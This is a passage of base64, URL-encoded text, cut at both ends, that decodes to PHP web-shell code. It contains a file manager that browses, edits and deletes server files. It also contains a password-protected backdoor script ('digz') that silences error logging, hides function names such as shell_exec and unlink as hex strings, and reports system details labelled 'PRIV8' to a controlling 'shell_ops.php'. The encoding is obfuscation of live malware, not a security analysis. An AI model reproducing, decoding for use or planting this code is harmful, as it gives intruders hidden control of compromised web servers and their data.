CRfUE9TVFsnZWRpdF9maWxlJ107XHJcbiAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZVRvRWRpdCwgJF9QT1NUWydmaWxlX2NvbnRlbnQnXSk7XHJcbiAgICBlY2hvIFwiPHAgc3R5bGU9J2NvbG9yOmdyZWVuOyc%2BRmlsZSB1cGRhdGVkOiBcIiAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydlZGl0X2ZpbGUnXSkgLiBcIjxcL3A%2BXCI7XHJcbn1cclxuXHJcblwvXC8gPz8%2FPz8gPz8%2FPz8%2FID8%2FPz8%2FPyA%2FID8%2FPz8%2FXHJcbmVjaG8gXCI8dWw%2BXCI7XHJcbmZvcmVhY2ggKHNjYW5kaXIoJHBhdGgpIGFzICRpdGVtKSB7XHJcbiAgICBpZiAoJGl0ZW0gPT09ICcuJykgY29udGludWU7XHJcbiAgICAkaXRlbVBhdGggPSAkcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTtcclxuICAgIGVjaG8gXCI8bGk%2BXCI7XHJcbiAgICBpZiAoaXNfZGlyKCRpdGVtUGF0aCkpIHtcclxuICAgICAgICBlY2hvIFwiPGEgaHJlZj0nP3BhdGg9XCIgLiB1cmxlbmNvZGUoJGl0ZW1QYXRoKSAuIFwiJz5bRElSXSAkaXRlbTxcL2E%2BXCI7XHJcbiAgICAgICAgZWNobyBcIiAtIDxpPlBlcm1pc3Npb25zOjxcL2k%2BIFwiIC4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRpdGVtUGF0aCkpLCAtNCk7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgIGVjaG8gXCI8YSBocmVmPSc%2FcGF0aD1cIiAuIHVybGVuY29kZSgkcGF0aCkgLiBcIiZmaWxlPVwiIC4gdXJsZW5jb2RlKCRpdGVtKSAuIFwiJz4kaXRlbTxcL2E%2BXCI7XHJcbiAgICAgICAgZWNobyBcIiAtIDxhIGhyZWY9Jz9wYXRoPVwiIC4gdXJsZW5jb2RlKCRwYXRoKSAuIFwiJmRlbGV0ZT1cIiAuIHVybGVuY29kZSgkaXRlbSkgLiBcIicgc3R5bGU9J2NvbG9yOnJlZDsnPltEZWxldGVdPFwvYT5cIjtcclxuICAgICAgICBlY2hvIFwiIC0gPGk%2BU2l6ZTo8XC9pPiBcIiAuIGZpbGVzaXplKCRpdGVtUGF0aCkgLiBcIiBieXRlcywgPGk%2BUGVybWlzc2lvbnM6PFwvaT4gXCIgLiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGl0ZW1QYXRoKSksIC00KTtcclxuICAgIH1cclxuICAgIGVjaG8gXCI8XC9saT5cIjtcclxufVxyXG5lY2hvIFwiPFwvdWw%2BXCI7XHJcblxyXG5cL1wvID8%2FPz8%2FPz8%2FID8gPz8%2FPz8%2FPz8%2FPz8%2FPz8gPz8%2FPz9cclxuaWYgKGlzc2V0KCRfR0VUWydmaWxlJ10pKSB7XHJcbiAgICAkZmlsZVBhdGggPSAkcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX0dFVFsnZmlsZSddO1xyXG4gICAgaWYgKGlzX2ZpbGUoJGZpbGVQYXRoKSkge1xyXG4gICAgICAgIGVjaG8gXCI8aDM%2BQ29udGVudHMgb2YgXCIgLiBodG1sc3BlY2lhbGNoYXJzKCRfR0VUWydmaWxlJ10pIC4gXCI6PFwvaDM%2BXCI7XHJcbiAgICAgICAgZWNobyBcIjxmb3JtIG1ldGhvZD0nUE9TVCc%2BXHJcbiAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSdmaWxlX2NvbnRlbnQnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDozMDBweDsnPlwiIC4gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpKSAuIFwiPFwvdGV4dGFyZWE%2BXHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2VkaXRfZmlsZScgdmFsdWU9J1wiIC4gaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnZmlsZSddKSAuIFwiJz5cclxuICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSdzdWJtaXQnPlNhdmUgQ2hhbmdlczxcL2J1dHRvbj5cclxuICAgICAgICA8XC9mb3JtPlwiO1xyXG4gICAgfVxyXG59XHJcbj8%2BXHJcbiIsIjxodG1sPiAgPFwvaHRtbD48P3BocFxyXG5cL1wvIENvbmZpZ3VyYXRpb25cclxuJHZhbGlkX3Bhc3N3b3JkID0gJ2RpZ3onOyBcL1wvIFJlcGxhY2Ugd2l0aCB5b3VyIGFjdHVhbCBzaGVsbCBwYXNzd29yZFxyXG4kdGVzdF9lbWFpbCA9ICd0ZXN0QGV4YW1wbGUuY29tJzsgXC9cLyBSZXBsYWNlIHdpdGggYSB2YWxpZCBlbWFpbCBhZGRyZXNzIGZvciB0ZXN0aW5nXHJcbiR0ZXN0X3ppcF9wYXRoID0gX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAndGVzdF9zaGVsbC56aXAnOyBcL1wvIFBsYXRmb3JtLWFnbm9zdGljIHBhdGggZm9yIHRlc3QgWklQXHJcbiRleHRyYWN0X3BhdGggPSBfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd0ZXN0X2V4dHJhY3QnOyBcL1wvIFBsYXRmb3JtLWFnbm9zdGljIHBhdGggZm9yIGV4dHJhY3Rpb25cclxuJHRlc3RfZmlsZV9wYXRoID0gX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAndGVzdF9maWxlLnR4dCc7IFwvXC8gUGxhdGZvcm0tYWdub3N0aWMgcGF0aCBmb3IgdGVzdCBmaWxlXHJcblxyXG5cL1wvIERpc2FibGUgZXJyb3IgcmVwb3J0aW5nIGZvciBwcm9kdWN0aW9uXHJcbmVycm9yX3JlcG9ydGluZygwKTtcclxuaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTtcclxuaW5pX3NldCgnZXJyb3JfbG9nJywgbnVsbCk7XHJcbmluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTtcclxuaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7XHJcbmluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTtcclxuXHJcblwvXC8gU3RhcnQgb3V0cHV0IGJ1ZmZlcmluZ1xyXG5vYl9zdGFydCgpO1xyXG5cclxuXC9cLyBGdW5jdGlvbiB0byBkZWNvZGUgaGV4LWVuY29kZWQgc3RyaW5nc1xyXG5mdW5jdGlvbiBoZXhhKCRzdHIpIHtcclxuICAgICRyID0gXCJcIjtcclxuICAgICRsZW4gPSBzdHJsZW4oJHN0cikgLSAxO1xyXG4gICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbjsgJGkgKz0gMikge1xyXG4gICAgICAgICRyIC49IGNocihoZXhkZWMoJHN0clskaV0gLiAkc3RyWyRpICsgMV0pKTtcclxuICAgIH1cclxuICAgIHJldHVybiAkcjtcclxufVxyXG5cclxuXC9cLyBJbml0aWFsaXplIGZ1bmN0aW9uIGFycmF5XHJcbiRpbmlhcnJheSA9IFtcclxuICAgIFwiNzA2ODcwNUY3NTZFNjE2RDY1XCIsICMgcGhwX3VuYW1lXHJcbiAgICBcIjczNjU3MzczNjk2RjZFNUY3Mzc0NjE3Mjc0XCIsICMgc2Vzc2lvbl9zdGFydFxyXG4gICAgXCI2NTcyNzI2RjcyNUY3MjY1NzA2RjcyNzQ2OTZFNjdcIiwgIyBlcnJvcl9yZXBvcnRpbmdcclxuICAgIFwiNzA2ODcwNzY2NTcyNzM2OTZGNkVcIiwgIyBwaHB2ZXJzaW9uXHJcbiAgICBcIjY2Njk2QzY1NUY3MDc1NzQ1RjYzNkY2RTc0NjU2RTc0NzNcIiwgIyBmaWxlX3B1dF9jb250ZW50c1xyXG4gICAgXCI2NjY5NkM2NTVGNjc2NTc0NUY2MzZGNkU3NDY1NkU3NDczXCIsICMgZmlsZV9nZXRfY29udGVudHNcclxuICAgIFwiNjY2OTZDNjU3MDY1NzI2RDczXCIsICMgZmlsZXBlcm1zXHJcbiAgICBcIjY2Njk2QzY1NkQ3NDY5NkQ2NVwiLCAjIGZpbGVtdGltZVxyXG4gICAgXCI2NjY5NkM2NTc0Nzk3MDY1XCIsICMgZmlsZXR5cGVcclxuICAgIFwiNjg3NDZENkM3MzcwNjU2MzY5NjE2QzYzNjg2MTcyNzNcIiwgIyBodG1sc3BlY2lhbGNoYXJzXHJcbiAgICBcIjczNzA3MjY5NkU3NDY2XCIsICMgc3ByaW50ZlxyXG4gICAgXCI3Mzc1NjI3Mzc0NzJcIiwgIyBzdWJzdHJcclxuICAgIFwiNjc2NTc0NjM3NzY0XCIsICMgZ2V0Y3dkXHJcbiAgICBcIjYzNjg2NDY5NzJcIiwgIyBjaGRpclxyXG4gICAgXCI3Mzc0NzI1RjcyNjU3MDZDNjE2MzY1XCIsICMgc3RyX3JlcGxhY2VcclxuICAgIFwiNjU3ODcwNkM2RjY0NjVcIiwgIyBleHBsb2RlXHJcbiAgICBcIjY2NkM2MTczNjhcIiwgIyBmbGFzaFxyXG4gICAgXCI2RDZGNzY2NTVGNzU3MDZDNkY2MTY0NjU2NDVGNjY2OTZDNjVcIiwgIyBtb3ZlX3VwbG9hZGVkX2ZpbGVcclxuICAgIFwiNzM2MzYxNkU2NDY5NzJcIiwgIyBzY2FuZGlyXHJcbiAgICBcIjY3NjU3NDY4NkY3Mzc0NjI3OTZFNjE2RDY1XCIsICMgZ2V0aG9zdGJ5bmFtZVxyXG4gICAgXCI3MzY4NjU2QzZDNUY2NTc4NjU2M1wiLCAjIHNoZWxsX2V4ZWNcclxuICAgIFwiNTM3OTczNzQ2NTZEMjA0OTZFNjY2RjcyNkQ2MTc0Njk2RjZFXCIsICMgU3lzdGVtIEluZm9ybWF0aW9uXHJcbiAgICBcIjY0Njk3MjZFNjE2RDY1XCIsICMgZGlybmFtZVxyXG4gICAgXCI2NDYxNzQ2NVwiLCAjIGRhdGVcclxuICAgIFwiNkQ2OTZENjU1RjYzNkY2RTc0NjU2RTc0NUY3NDc5NzA2NVwiLCAjIG1pbWVfY29udGVudF90eXBlXHJcbiAgICBcIjY2NzU2RTYzNzQ2OTZGNkU1RjY1Nzg2OTczNzQ3M1wiLCAjIGZ1bmN0aW9uX2V4aXN0c1xyXG4gICAgXCI2NjczNjk3QTY1XCIsICMgZnNpemVcclxuICAgIFwiNzI2RDY0Njk3MlwiLCAjIHJtZGlyXHJcbiAgICBcIjc1NkU2QzY5NkU2QlwiLCAjIHVubGlua1xyXG4gICAgXCI2RDZCNjQ2OTcyXCIsICMgbWtkaXJcclxuICAgIFwiNzI2NTZFNjE2RDY1XCIsICMgcmVuYW1lXHJcbiAgICBcIjczNjU3NDVGNzQ2OTZENjU1RjZDNjk2RDY5NzRcIiwgIyBzZXRfdGltZV9saW1pdFxyXG4gICAgXCI2MzZDNjU2MTcyNzM3NDYxNzQ2MzYxNjM2ODY1XCIsICMgY2xlYXJzdGF0Y2FjaGVcclxuICAgIFwiNjk2RTY5NUY3MzY1NzRcIiwgIyBpbmlfc2V0XHJcbiAgICBcIjY5NkU2OTVGNjc2NTc0XCIsICMgaW5pX2dldFxyXG4gICAgXCI2NzY1NzQ0Rjc3NkU2NTcyXCIsICMgZ2V0T3duZXJcclxuICAgIFwiNjc2NTc0NUY2Mzc1NzI3MjY1NkU3NDVGNzU3MzY1NzJcIiAjIGdldF9jdXJyZW50X3VzZXJcclxuXTtcclxuZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGluaWFycmF5KTsgJGkrKykge1xyXG4gICAgJGZ1bmNbJGldID0gaGV4YSgkaW5pYXJyYXlbJGldKTtcclxufVxyXG4kZHMgPSBAJGZ1bmNbMzRdKFwiZGlzYWJsZV9mdW5jdGlvbnNcIik7XHJcbiRzaG93X2RzID0gKCFlbXB0eSgkZHMpKSA%2FIFwiJGRzXCIgOiBcIkFsbCBmdW5jdGlvbiBpcyBhY2Nlc3NpYmxlXCI7XHJcblxyXG5cL1wvIEZpbGUgbWFuYWdlciBmdW5jdGlvbnNcclxuZnVuY3Rpb24gZnNpemUoJGZpbGUpIHtcclxuICAgICRhID0gW1wiQlwiLCBcIktCXCIsIFwiTUJcIiwgXCJHQlwiLCBcIlRCXCIsIFwiUEJcIl07XHJcbiAgICAkcG9zID0gMDtcclxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGUpO1xyXG4gICAgd2hpbGUgKCRzaXplID49IDEwMjQpIHtcclxuICAgICAgICAkc2l6ZSBcLz0gMTAyNDtcclxuICAgICAgICAkcG9zKys7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gcm91bmQoJHNpemUsIDIpIC4gXCIgXCIgLiAkYVskcG9zXTtcclxufVxyXG5cclxuZnVuY3Rpb24gZmxhc2goJG1lc3NhZ2UsICRzdGF0dXMsICRjbGFzcywgJHJlZGlyZWN0ID0gZmFsc2UpIHtcclxuICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW1wibWVzc2FnZVwiXSkpIHVuc2V0KCRfU0VTU0lPTltcIm1lc3NhZ2VcIl0pO1xyXG4gICAgaWYgKCFlbXB0eSgkX1NFU1NJT05bXCJjbGFzc1wiXSkpIHVuc2V0KCRfU0VTU0lPTltcImNsYXNzXCJdKTtcclxuICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW1wic3RhdHVzXCJdKSkgdW5zZXQoJF9TRVNTSU9OW1wic3RhdHVzXCJdKTtcclxuICAgICRfU0VTU0lPTltcIm1lc3NhZ2VcIl0gPSAkbWVzc2FnZTtcclxuICAgICRfU0VTU0lPTltcImNsYXNzXCJdID0gJGNsYXNzO1xyXG4gICAgJF9TRVNTSU9OW1wic3RhdHVzXCJdID0gJHN0YXR1cztcclxuICAgIGlmICgkcmVkaXJlY3QpIHtcclxuICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHJlZGlyZWN0KTtcclxuICAgICAgICBleGl0KCk7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gdHJ1ZTtcclxufVxyXG5cclxuZnVuY3Rpb24gY2xlYXIoKSB7XHJcbiAgICBpZiAoIWVtcHR5KCRfU0VTU0lPTltcIm1lc3NhZ2VcIl0pKSB1bnNldCgkX1NFU1NJT05bXCJtZXNzYWdlXCJdKTtcclxuICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW1wiY2xhc3NcIl0pKSB1bnNldCgkX1NFU1NJT05bXCJjbGFzc1wiXSk7XHJcbiAgICBpZiAoIWVtcHR5KCRfU0VTU0lPTltcInN0YXR1c1wiXSkpIHVuc2V0KCRfU0VTU0lPTltcInN0YXR1c1wiXSk7XHJcbiAgICByZXR1cm4gdHJ1ZTtcclxufVxyXG5cclxuZnVuY3Rpb24gZ2V0T3duZXIoJGl0ZW0pIHtcclxuICAgIGdsb2JhbCAkZnVuYztcclxuICAgIGlmICgkZnVuY1syNV0oXCJwb3NpeF9nZXRwd3VpZFwiKSkge1xyXG4gICAgICAgICRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRpdGVtKSk7XHJcbiAgICAgICAgJGRvd25lciA9ICRkb3duZXJbJ25hbWUnXTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGRvd25lciA9IGZpbGVvd25lcigkaXRlbSk7XHJcbiAgICB9XHJcbiAgICBpZiAoJGZ1bmNbMjVdKFwicG9zaXhfZ2V0Z3JnaWRcIikpIHtcclxuICAgICAgICAkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGl0ZW0pKTtcclxuICAgICAgICAkZGdycCA9ICRkZ3JwWyduYW1lJ107XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRkZ3JwID0gZmlsZWdyb3VwKCRpdGVtKTtcclxuICAgIH1cclxuICAgIHJldHVybiAkZG93bmVyIC4gJ1wvJyAuICRkZ3JwO1xyXG59XHJcblxyXG5cL1wvIEZ1bmN0aW9uIHRvIGNoZWNrIGZpbGUgbWFuYWdlciAoZGlyZWN0b3J5IGxpc3RpbmcpXHJcbmZ1bmN0aW9uIGNoZWNrRmlsZU1hbmFnZXIoKSB7XHJcbiAgICBnbG9iYWwgJGZ1bmM7XHJcbiAgICAkZGlyZWN0b3J5ID0gX19ESVJfXztcclxuICAgIHRyeSB7XHJcbiAgICAgICAgJGRpcnMgPSAkZnVuY1sxOF0oJGRpcmVjdG9yeSk7IFwvXC8gc2NhbmRpclxyXG4gICAgICAgIHJldHVybiAkZGlycyAhPT0gZmFsc2UgJiYgY291bnQoJGRpcnMpID4gMjsgXC9cLyBNb3JlIHRoYW4gLiBhbmQgLi5cclxuICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkge1xyXG4gICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgIH1cclxufVxyXG5cclxuXC9cLyBGdW5jdGlvbiB0byBjcmVhdGUgYSB0ZXN0IFpJUCBmaWxlXHJcbmZ1bmN0aW9uIGNyZWF0ZVRlc3RaaXAoJHppcF9wYXRoLCAkZmlsZV9wYXRoKSB7XHJcbiAgICBnbG9iYWwgJGZ1bmM7XHJcbiAgICBcL1wvIENyZWF0ZSBhIHRlbXBvcmFyeSB0ZXh0IGZpbGVcclxuICAgIGlmICghJGZ1bmNbNF0oJGZpbGVfcGF0aCwgJ1RoaXMgaXMgYSB0ZXN0IGZpbGUgZm9yIFpJUCBmdW5jdGlvbmFsaXR5LicpKSB7XHJcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgfVxyXG4gICAgXHJcbiAgICBcL1wvIFRyeSBaaXBBcmNoaXZlIGZpcnN0XHJcbiAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHtcclxuICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmU7XHJcbiAgICAgICAgaWYgKCR6aXAtPm9wZW4oJHppcF9wYXRoLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpICE9PSBUUlVFKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKCEkemlwLT5hZGRGaWxlKCRmaWxlX3BhdGgsIGJhc2VuYW1lKCRmaWxlX3BhdGgpKSkge1xyXG4gICAgICAgICAgICAkemlwLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XHJcbiAgICAgICAgfVxyXG4gICAgICAgICR6aXAtPmNsb3NlKCk7XHJcbiAgICAgICAgcmV0dXJuIHRydWU7XHJcbiAgICB9XHJcbiAgICBcclxuICAgIFwvXC8gRmFsbGJhY2sgdG8gc3lzdGVtIFpJUCBjb21tYW5kXHJcbiAgICAkb3MgPSBzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKTtcclxuICAgIGlmICgkb3MgPT09ICdXSU4nKSB7XHJcbiAgICAgICAgJGNvbW1hbmQgPSBcInBvd2Vyc2hlbGwgLUNvbW1hbmQgXFxcIkNvbXByZXNzLUFyY2hpdmUgLVBhdGggJyRmaWxlX3BhdGgnIC1EZXN0aW5hdGlvblBhdGggJyR6aXBfcGF0aCcgLUZvcmNlXFxcIlwiO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkY29tbWFuZCA9IFwiemlwIC1qICckemlwX3BhdGgnICckZmlsZV9wYXRoJ1wiO1xyXG4gICAgfVxyXG4gICAgZXhlYygkY29tbWFuZCwgJG91dHB1dCwgJHJldHVybl92YXIpO1xyXG4gICAgcmV0dXJuICRyZXR1cm5fdmFyID09PSAwICYmIGZpbGVfZXhpc3RzKCR6aXBfcGF0aCk7XHJcbn1cclxuXHJcblwvXC8gRnVuY3Rpb24gdG8gZXh0cmFjdCBhIFpJUCBmaWxlXHJcbmZ1bmN0aW9uIGV4dHJhY3RUZXN0WmlwKCR6aXBfcGF0aCwgJGV4dHJhY3RfcGF0aCkge1xyXG4gICAgXC9cLyBUcnkgWmlwQXJjaGl2ZSBmaXJzdFxyXG4gICAgaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7XHJcbiAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlO1xyXG4gICAgICAgIGlmICgkemlwLT5vcGVuKCR6aXBfcGF0aCkgPT09IFRSVUUpIHtcclxuICAgICAgICAgICAgaWYgKCFpc19kaXIoJGV4dHJhY3RfcGF0aCkpIHtcclxuICAgICAgICAgICAgICAgIGlmICghbWtkaXIoJGV4dHJhY3RfcGF0aCwgMDc3NywgdHJ1ZSkpIHtcclxuICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAkcmVzdWx0ID0gJHppcC0%2BZXh0cmFjdFRvKCRleHRyYWN0X3BhdGgpO1xyXG4gICAgICAgICAgICAkemlwLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICByZXR1cm4gJHJlc3VsdDtcclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgfVxyXG4gICAgXHJcbiAgICBcL1wvIEZhbGxiYWNrIHRvIHN5c3RlbSB1bnppcCBjb21tYW5kXHJcbiAgICAkb3MgPSBzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKTtcclxuICAgIGlmICgkb3MgPT09ICdXSU4nKSB7XHJcbiAgICAgICAgJGNvbW1hbmQgPSBcInBvd2Vyc2hlbGwgLUNvbW1hbmQgXFxcIkV4cGFuZC1BcmNoaXZlIC1QYXRoICckemlwX3BhdGgnIC1EZXN0aW5hdGlvblBhdGggJyRleHRyYWN0X3BhdGgnIC1Gb3JjZVxcXCJcIjtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGNvbW1hbmQgPSBcInVuemlwIC1vICckemlwX3BhdGgnIC1kICckZXh0cmFjdF9wYXRoJ1wiO1xyXG4gICAgfVxyXG4gICAgZXhlYygkY29tbWFuZCwgJG91dHB1dCwgJHJldHVybl92YXIpO1xyXG4gICAgcmV0dXJuICRyZXR1cm5fdmFyID09PSAwICYmIGlzX2RpcigkZXh0cmFjdF9wYXRoKTtcclxufVxyXG5cclxuXC9cLyBGdW5jdGlvbiB0byBkZWxldGUgZGlyZWN0b3J5IGFuZCBpdHMgY29udGVudHNcclxuZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHtcclxuICAgIGdsb2JhbCAkZnVuYztcclxuICAgIGlmICghaXNfZGlyKCRkaXIpKSB7XHJcbiAgICAgICAgcmV0dXJuO1xyXG4gICAgfVxyXG4gICAgJGZpbGVzID0gYXJyYXlfZGlmZigkZnVuY1sxOF0oJGRpciksIFsnLicsICcuLiddKTtcclxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xyXG4gICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTtcclxuICAgICAgICBpc19kaXIoJHBhdGgpID8gZGVsZXRlRGlyZWN0b3J5KCRwYXRoKSA6ICRmdW5jWzI4XSgkcGF0aCk7XHJcbiAgICB9XHJcbiAgICAkZnVuY1syN10oJGRpcik7XHJcbn1cclxuXHJcblwvXC8gRnVuY3Rpb24gdG8gdGVzdCBlbWFpbCBzZW5kaW5nXHJcbmZ1bmN0aW9uIGNoZWNrU2VuZCgpIHtcclxuICAgIGdsb2JhbCAkdGVzdF9lbWFpbDtcclxuICAgICRzdWJqZWN0ID0gJ1Rlc3QgRW1haWwgZnJvbSBTaGVsbCc7XHJcbiAgICAkbWVzc2FnZSA9ICdUaGlzIGlzIGEgdGVzdCBlbWFpbCB0byB2ZXJpZnkgc2VuZCBmdW5jdGlvbmFsaXR5Lic7XHJcbiAgICAkaGVhZGVycyA9ICdGcm9tOiBub3JlcGx5QGxvY2FsaG9zdC5jb20nIC4gXCJcXHJcXG5cIiAuXHJcbiAgICAgICAgICAgICAgICdSZXBseS1Ubzogbm9yZXBseUBsb2NhbGhvc3QuY29tJyAuIFwiXFxyXFxuXCIgLlxyXG4gICAgICAgICAgICAgICAnWC1NYWlsZXI6IFBIUFwvJyAuIHBocHZlcnNpb24oKTtcclxuICAgIHJldHVybiBAbWFpbCgkdGVzdF9lbWFpbCwgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVycyk7XHJcbn1cclxuXHJcblwvXC8gRnVuY3Rpb24gdG8gdGVzdCBaSVAgZXh0cmFjdGlvblxyXG5mdW5jdGlvbiBjaGVja1ppcCgpIHtcclxuICAgIGdsb2JhbCAkdGVzdF96aXBfcGF0aCwgJGV4dHJhY3RfcGF0aCwgJHRlc3RfZmlsZV9wYXRoO1xyXG4gICAgaWYgKCFjcmVhdGVUZXN0WmlwKCR0ZXN0X3ppcF9wYXRoLCAkdGVzdF9maWxlX3BhdGgpKSB7XHJcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgfVxyXG4gICAgJHJlc3VsdCA9IGV4dHJhY3RUZXN0WmlwKCR0ZXN0X3ppcF9wYXRoLCAkZXh0cmFjdF9wYXRoKTtcclxuICAgIGlmIChmaWxlX2V4aXN0cygkdGVzdF96aXBfcGF0aCkpIHtcclxuICAgICAgICB1bmxpbmsoJHRlc3RfemlwX3BhdGgpO1xyXG4gICAgfVxyXG4gICAgaWYgKGZpbGVfZXhpc3RzKCR0ZXN0X2ZpbGVfcGF0aCkpIHtcclxuICAgICAgICB1bmxpbmsoJHRlc3RfZmlsZV9wYXRoKTtcclxuICAgIH1cclxuICAgIGlmIChpc19kaXIoJGV4dHJhY3RfcGF0aCkpIHtcclxuICAgICAgICBkZWxldGVEaXJlY3RvcnkoJGV4dHJhY3RfcGF0aCk7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gJHJlc3VsdDtcclxufVxyXG5cclxuXC9cLyBIYW5kbGUgY1VSTCByZXF1ZXN0cyBmcm9tIHNoZWxsX29wcy5waHBcclxuaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkge1xyXG4gICAgJHByb3ZpZGVkX3Bhc3N3b3JkID0gdHJpbShzdHJpcF90YWdzKGh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ3Bhc3MnXSkpKSk7XHJcbiAgICBpZiAoJHByb3ZpZGVkX3Bhc3N3b3JkICE9PSAkdmFsaWRfcGFzc3dvcmQpIHtcclxuICAgICAgICBzZW5kRXJyb3IoJ0ludmFsaWQgcGFzc3dvcmQnKTtcclxuICAgIH1cclxuXHJcbiAgICBpZiAoaXNzZXQoJF9HRVRbJ2NoZWNrc2VuZCddKSkge1xyXG4gICAgICAgIGVjaG8gY2hlY2tTZW5kKCkgPyBcImNoZWNrLXJlc3VsdC0xXCIgOiBcIjxidXR0b24gY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1zbSc%2BU2VuZCBGYWlsZWQ8XC9idXR0b24%2BXCI7XHJcbiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2NoZWNremlwJ10pKSB7XHJcbiAgICAgICAgZWNobyBjaGVja1ppcCgpID8gXCJjaGVjay1yZXN1bHQtMVwiIDogXCI8YnV0dG9uIGNsYXNzPSdidG4gYnRuLWRhbmdlciBidG4tc20nPlpJUCBFeHRyYWN0aW9uIEZhaWxlZDxcL2J1dHRvbj5cIjtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgaWYgKGNoZWNrRmlsZU1hbmFnZXIoKSkge1xyXG4gICAgICAgICAgICAkdW5hbWUgPSAkZnVuY1swXSgpO1xyXG4gICAgICAgICAgICAkcGhwX3ZlcnNpb24gPSAkZnVuY1szXSgpO1xyXG4gICAgICAgICAgICAkaXNfcHJpdjggPSB0cnVlO1xyXG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBcIkZpbGUgbWFuYWdlclwiO1xyXG4gICAgICAgICAgICBpZiAoJGlzX3ByaXY4KSB7XHJcbiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgLj0gXCJcXG5QUklWOFxcblwiO1xyXG4gICAgICAgICAgICAgICAgJHJlc3BvbnNlIC49IFwiPG5vYnI%2BJHVuYW1lPFwvbm9icj5cXG5cIjtcclxuICAgICAgICAgICAgICAgICRyZXNwb25zZSAuPSBcIik8YnI%2BJHBocF92ZXJzaW9uIDxzcGFuPlNhZmUgbW9kZTo8XC9zcGFuPlwiO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIGVjaG8gJHJlc3BvbnNlO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIHNlbmRFcnJvcignRmlsZSBNYW5hZ2VyIE5vdCBBY2Nlc3NpYmxlJyk7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG4gICAgb2JfZW5kX2ZsdXNoKCk7XHJcbiAgICBleGl0O1xyXG59XHJcblxyXG5cL1wvIEhhbmRsZSBicm93c2VyIGFjY2VzcyAobG9naW4gYW5kIGRhc2hib2FyZClcclxuJGZ1bmNbMV0oKTsgXC9cLyBzZXNzaW9uX3N0YXJ0XHJcbiRsb2dpbl9lcnJvciA9ICcnO1xyXG4kZGFzaGJvYXJkX21lc3NhZ2